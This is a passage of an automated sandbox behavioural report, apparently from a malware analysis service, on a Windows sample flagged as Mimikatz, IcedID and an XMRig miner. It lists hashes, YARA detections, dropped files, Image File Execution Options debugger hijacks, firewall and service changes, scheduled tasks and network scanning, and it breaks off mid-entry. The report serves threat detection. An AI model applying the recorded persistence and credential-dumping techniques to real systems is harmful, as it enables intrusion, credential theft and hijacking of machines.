Analysis
- max time kernel
149s - max time network
150s - platform
windows7_x64 - resource
win7-20240221-en - resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system - submitted
14/04/2024, 04:25
Behavioral task
behavioral1
Sample
2024-04-14_132ef937bc26d00605291745668a176b_hacktools_icedid_mimikatz.exe
Resource
win7-20240221-en
windows7-x64
37 signatures
150 seconds
General
- Target 2024-04-14_132ef937bc26d00605291745668a176b_hacktools_icedid_mimikatz.exe
- Size 13.7MB
- Sample240414-e16hmahb6s
- SHA256 8388e46c41efbc4d182607a0600814b96f0de800b40018535c68a3b73ee16323
- MD5 132ef937bc26d00605291745668a176b
- SHA1 5eabe18b0cef6e40fce65e4ce7f225283ce89068
- SHA512 a7bc09f38af910953a4c065494afbe8c72c17d65623b15b7d4af2bb03a88e220dea958b62027bb34683d3fe8020a35733418f14760287453b0c95bf661600c90
- SSDEEP 98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2640 created 552 2640 egqqwqb.exe 17 - Contacts a large (26978) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs
resource yara_rule behavioral1/memory/2260-136-0x000000013FF00000-0x000000013FFEE000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore behavioral1/memory/2260-135-0x000000013FF00000-0x000000013FFEE000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore - UPX dump on OEP (original entry point) 32 IoCs
resource yara_rule behavioral1/memory/1736-0-0x0000000000400000-0x0000000000AA4000-memory.dmp UPX behavioral1/files/0x000d000000012327-5.dat UPX behavioral1/memory/2148-8-0x0000000000400000-0x0000000000AA4000-memory.dmp UPX behavioral1/files/0x0006000000017456-129.dat UPX behavioral1/memory/2144-133-0x0000000001040000-0x000000000112E000-memory.dmp UPX behavioral1/memory/2260-136-0x000000013FF00000-0x000000013FFEE000-memory.dmp UPX behavioral1/memory/2260-135-0x000000013FF00000-0x000000013FFEE000-memory.dmp UPX behavioral1/memory/2312-142-0x000000013F930000-0x000000013F98B000-memory.dmp UPX behavioral1/files/0x0006000000018c0a-141.dat UPX behavioral1/files/0x0006000000018c1a-157.dat UPX behavioral1/memory/2132-163-0x000000013F500000-0x000000013F620000-memory.dmp UPX behavioral1/memory/2312-168-0x000000013F930000-0x000000013F98B000-memory.dmp UPX behavioral1/memory/1012-175-0x000000013F870000-0x000000013F8CB000-memory.dmp UPX behavioral1/memory/1012-177-0x000000013F870000-0x000000013F8CB000-memory.dmp UPX behavioral1/memory/2404-182-0x000000013F070000-0x000000013F0CB000-memory.dmp UPX behavioral1/memory/2404-184-0x000000013F070000-0x000000013F0CB000-memory.dmp UPX behavioral1/memory/3068-190-0x000000013FB70000-0x000000013FBCB000-memory.dmp UPX behavioral1/memory/3068-192-0x000000013FB70000-0x000000013FBCB000-memory.dmp UPX behavioral1/memory/2132-194-0x000000013F500000-0x000000013F620000-memory.dmp UPX behavioral1/memory/1820-200-0x000000013F090000-0x000000013F0EB000-memory.dmp UPX behavioral1/memory/1820-202-0x000000013F090000-0x000000013F0EB000-memory.dmp UPX behavioral1/memory/2132-204-0x000000013F500000-0x000000013F620000-memory.dmp UPX behavioral1/memory/2132-205-0x000000013F500000-0x000000013F620000-memory.dmp UPX behavioral1/memory/2132-207-0x000000013F500000-0x000000013F620000-memory.dmp UPX behavioral1/memory/2132-210-0x000000013F500000-0x000000013F620000-memory.dmp UPX behavioral1/memory/2132-211-0x000000013F500000-0x000000013F620000-memory.dmp UPX behavioral1/memory/2132-231-0x000000013F500000-0x000000013F620000-memory.dmp UPX behavioral1/memory/2132-232-0x000000013F500000-0x000000013F620000-memory.dmp UPX behavioral1/memory/2132-233-0x000000013F500000-0x000000013F620000-memory.dmp UPX behavioral1/memory/2132-235-0x000000013F500000-0x000000013F620000-memory.dmp UPX behavioral1/memory/2132-237-0x000000013F500000-0x000000013F620000-memory.dmp UPX behavioral1/memory/2132-238-0x000000013F500000-0x000000013F620000-memory.dmp UPX - XMRig Miner payload 12 IoCs
resource yara_rule behavioral1/memory/2132-194-0x000000013F500000-0x000000013F620000-memory.dmp xmrig behavioral1/memory/2132-204-0x000000013F500000-0x000000013F620000-memory.dmp xmrig behavioral1/memory/2132-205-0x000000013F500000-0x000000013F620000-memory.dmp xmrig behavioral1/memory/2132-207-0x000000013F500000-0x000000013F620000-memory.dmp xmrig behavioral1/memory/2132-210-0x000000013F500000-0x000000013F620000-memory.dmp xmrig behavioral1/memory/2132-211-0x000000013F500000-0x000000013F620000-memory.dmp xmrig behavioral1/memory/2132-231-0x000000013F500000-0x000000013F620000-memory.dmp xmrig behavioral1/memory/2132-232-0x000000013F500000-0x000000013F620000-memory.dmp xmrig behavioral1/memory/2132-233-0x000000013F500000-0x000000013F620000-memory.dmp xmrig behavioral1/memory/2132-235-0x000000013F500000-0x000000013F620000-memory.dmp xmrig behavioral1/memory/2132-237-0x000000013F500000-0x000000013F620000-memory.dmp xmrig behavioral1/memory/2132-238-0x000000013F500000-0x000000013F620000-memory.dmp xmrig - mimikatz is an open source tool to dump credentials on Windows 6 IoCs
resource yara_rule behavioral1/memory/1736-0-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral1/files/0x000d000000012327-5.dat mimikatz behavioral1/memory/2148-8-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral1/memory/2260-136-0x000000013FF00000-0x000000013FFEE000-memory.dmp mimikatz behavioral1/memory/2260-135-0x000000013FF00000-0x000000013FFEE000-memory.dmp mimikatz behavioral1/memory/2144-134-0x0000000001040000-0x000000000112E000-memory.dmp mimikatz - Drops file in Drivers directory 3 IoCs
description ioc Process File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts egqqwqb.exe File opened for modification C:\Windows\system32\drivers\etc\hosts egqqwqb.exe - Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 1424 netsh.exe 1620 netsh.exe - Sets file execution options in registry 2 TTPs 40 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe egqqwqb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" egqqwqb.exe - Executes dropped EXE 16 IoCs
pid Process 2148 egqqwqb.exe 2640 egqqwqb.exe 2968 wpcap.exe 676 kbybalanc.exe 2260 vfshost.exe 2312 ugnayrher.exe 676 xohudmc.exe 1848 koaaya.exe 2132 hzbaub.exe 1012 ugnayrher.exe 2404 ugnayrher.exe 3068 ugnayrher.exe 1820 ugnayrher.exe 2252 egqqwqb.exe 2716 meqyhgrry.exe 3236 egqqwqb.exe - Loads dropped DLL 22 IoCs
pid Process 1924 cmd.exe 1924 cmd.exe 2844 cmd.exe 2968 wpcap.exe 2968 wpcap.exe 2968 wpcap.exe 2968 wpcap.exe 2968 wpcap.exe 2112 cmd.exe 676 kbybalanc.exe 676 kbybalanc.exe 2144 cmd.exe 2144 cmd.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 2640 egqqwqb.exe 1016 cmd.exe -
resource yara_rule behavioral1/files/0x0006000000017456-129.dat upx behavioral1/memory/2260-136-0x000000013FF00000-0x000000013FFEE000-memory.dmp upx behavioral1/memory/2260-135-0x000000013FF00000-0x000000013FFEE000-memory.dmp upx behavioral1/memory/2312-142-0x000000013F930000-0x000000013F98B000-memory.dmp upx behavioral1/files/0x0006000000018c0a-141.dat upx behavioral1/files/0x0006000000018c1a-157.dat upx behavioral1/memory/2132-163-0x000000013F500000-0x000000013F620000-memory.dmp upx behavioral1/memory/2312-168-0x000000013F930000-0x000000013F98B000-memory.dmp upx behavioral1/memory/1012-175-0x000000013F870000-0x000000013F8CB000-memory.dmp upx behavioral1/memory/1012-177-0x000000013F870000-0x000000013F8CB000-memory.dmp upx behavioral1/memory/2404-182-0x000000013F070000-0x000000013F0CB000-memory.dmp upx behavioral1/memory/2404-184-0x000000013F070000-0x000000013F0CB000-memory.dmp upx behavioral1/memory/3068-190-0x000000013FB70000-0x000000013FBCB000-memory.dmp upx behavioral1/memory/3068-192-0x000000013FB70000-0x000000013FBCB000-memory.dmp upx behavioral1/memory/2132-194-0x000000013F500000-0x000000013F620000-memory.dmp upx behavioral1/memory/1820-200-0x000000013F090000-0x000000013F0EB000-memory.dmp upx behavioral1/memory/1820-202-0x000000013F090000-0x000000013F0EB000-memory.dmp upx behavioral1/memory/2132-204-0x000000013F500000-0x000000013F620000-memory.dmp upx behavioral1/memory/2132-205-0x000000013F500000-0x000000013F620000-memory.dmp upx behavioral1/memory/2132-207-0x000000013F500000-0x000000013F620000-memory.dmp upx behavioral1/memory/2132-210-0x000000013F500000-0x000000013F620000-memory.dmp upx behavioral1/memory/2132-211-0x000000013F500000-0x000000013F620000-memory.dmp upx behavioral1/memory/2132-231-0x000000013F500000-0x000000013F620000-memory.dmp upx behavioral1/memory/2132-232-0x000000013F500000-0x000000013F620000-memory.dmp upx behavioral1/memory/2132-233-0x000000013F500000-0x000000013F620000-memory.dmp upx behavioral1/memory/2132-235-0x000000013F500000-0x000000013F620000-memory.dmp upx behavioral1/memory/2132-237-0x000000013F500000-0x000000013F620000-memory.dmp upx behavioral1/memory/2132-238-0x000000013F500000-0x000000013F620000-memory.dmp upx - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 21 ifconfig.me 20 ifconfig.me - Creates a Windows Service
- Drops file in System32 directory 12 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7ADF8A57305EF056A6A6A947A1CF4C7A egqqwqb.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\koaaya.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 egqqwqb.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 egqqwqb.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7ADF8A57305EF056A6A6A947A1CF4C7A egqqwqb.exe File created C:\Windows\SysWOW64\koaaya.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat egqqwqb.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe - Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe - Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\zakhayhsp\UnattendGC\docmicfg.xml egqqwqb.exe File opened for modification C:\Windows\ygyeuqcu\vimpcsvc.xml egqqwqb.exe File created C:\Windows\zakhayhsp\ybgqmsgtg\wpcap.exe egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\AppCapture64.dll egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\crli-0.dll egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\schoedcl.exe egqqwqb.exe File created C:\Windows\zakhayhsp\upbdrjv\swrpwe.exe egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\libxml2.dll egqqwqb.exe File created C:\Windows\zakhayhsp\Corporate\vfshost.exe egqqwqb.exe File created C:\Windows\ygyeuqcu\vimpcsvc.xml egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\coli-0.dll egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\exma-1.dll egqqwqb.exe File opened for modification C:\Windows\ygyeuqcu\docmicfg.xml egqqwqb.exe File created C:\Windows\zakhayhsp\ybgqmsgtg\kbybalanc.exe egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\posh-0.dll egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\trch-1.dll egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\schoedcl.xml egqqwqb.exe File created C:\Windows\ygyeuqcu\docmicfg.xml egqqwqb.exe File opened for modification C:\Windows\ygyeuqcu\schoedcl.xml egqqwqb.exe File created C:\Windows\zakhayhsp\Corporate\mimidrv.sys egqqwqb.exe File opened for modification C:\Windows\zakhayhsp\ybgqmsgtg\Packet.dll egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\svschost.xml egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\vimpcsvc.xml egqqwqb.exe File created C:\Windows\zakhayhsp\Corporate\mimilib.dll egqqwqb.exe File created C:\Windows\ime\egqqwqb.exe egqqwqb.exe File created C:\Windows\zakhayhsp\ybgqmsgtg\ip.txt egqqwqb.exe File created C:\Windows\zakhayhsp\ybgqmsgtg\wpcap.dll egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\ucl.dll egqqwqb.exe File created C:\Windows\zakhayhsp\ybgqmsgtg\meqyhgrry.exe egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\cnli-1.dll egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\libeay32.dll egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\vimpcsvc.exe egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\spoolsrv.xml egqqwqb.exe File created C:\Windows\ygyeuqcu\spoolsrv.xml egqqwqb.exe File created C:\Windows\ygyeuqcu\schoedcl.xml egqqwqb.exe File created C:\Windows\ygyeuqcu\egqqwqb.exe 2024-04-14_132ef937bc26d00605291745668a176b_hacktools_icedid_mimikatz.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\svschost.xml egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\trfo-2.dll egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\zlib1.dll egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\vimpcsvc.xml egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\spoolsrv.xml egqqwqb.exe File opened for modification C:\Windows\ygyeuqcu\egqqwqb.exe 2024-04-14_132ef937bc26d00605291745668a176b_hacktools_icedid_mimikatz.exe File created C:\Windows\ygyeuqcu\svschost.xml egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\ssleay32.dll egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\schoedcl.xml egqqwqb.exe File opened for modification C:\Windows\ygyeuqcu\svschost.xml egqqwqb.exe File opened for modification C:\Windows\zakhayhsp\ybgqmsgtg\Result.txt meqyhgrry.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\tibe-2.dll egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\Shellcode.ini egqqwqb.exe File created C:\Windows\zakhayhsp\ybgqmsgtg\Packet.dll egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\svschost.exe egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\spoolsrv.exe egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\docmicfg.exe egqqwqb.exe File opened for modification C:\Windows\ygyeuqcu\spoolsrv.xml egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\AppCapture32.dll egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\xdvl-0.dll egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\docmicfg.xml egqqwqb.exe File opened for modification C:\Windows\zakhayhsp\Corporate\log.txt cmd.exe File created C:\Windows\zakhayhsp\ybgqmsgtg\scan.bat egqqwqb.exe File created C:\Windows\zakhayhsp\UnattendGC\specials\tucl-1.dll egqqwqb.exe - Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2164 sc.exe 2616 sc.exe 540 sc.exe 1040 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- NSIS installer 3 IoCs
resource yara_rule behavioral1/files/0x000d000000012327-5.dat nsis_installer_2 behavioral1/files/0x00070000000144f0-14.dat nsis_installer_1 behavioral1/files/0x00070000000144f0-14.dat nsis_installer_2 - Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1820 schtasks.exe 3052 schtasks.exe 1592 schtasks.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump ugnayrher.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates egqqwqb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs egqqwqb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs egqqwqb.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\96-aa-ab-9a-d2-88\WpadDecisionReason = "1" egqqwqb.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" ugnayrher.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates egqqwqb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates egqqwqb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople egqqwqb.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs egqqwqb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates egqqwqb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs egqqwqb.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates egqqwqb.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 egqqwqb.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{521FDE22-5FAA-410F-960E-A03AE1A35A32}\WpadDecisionTime = 905995cf238eda01 egqqwqb.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" egqqwqb.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{521FDE22-5FAA-410F-960E-A03AE1A35A32}\WpadDecisionTime = 908ee003248eda01 egqqwqb.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" egqqwqb.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs egqqwqb.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\96-aa-ab-9a-d2-88\WpadDecision = "0" egqqwqb.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix egqqwqb.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust egqqwqb.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{521FDE22-5FAA-410F-960E-A03AE1A35A32}\WpadNetworkName = "Network 3" egqqwqb.exe Key created 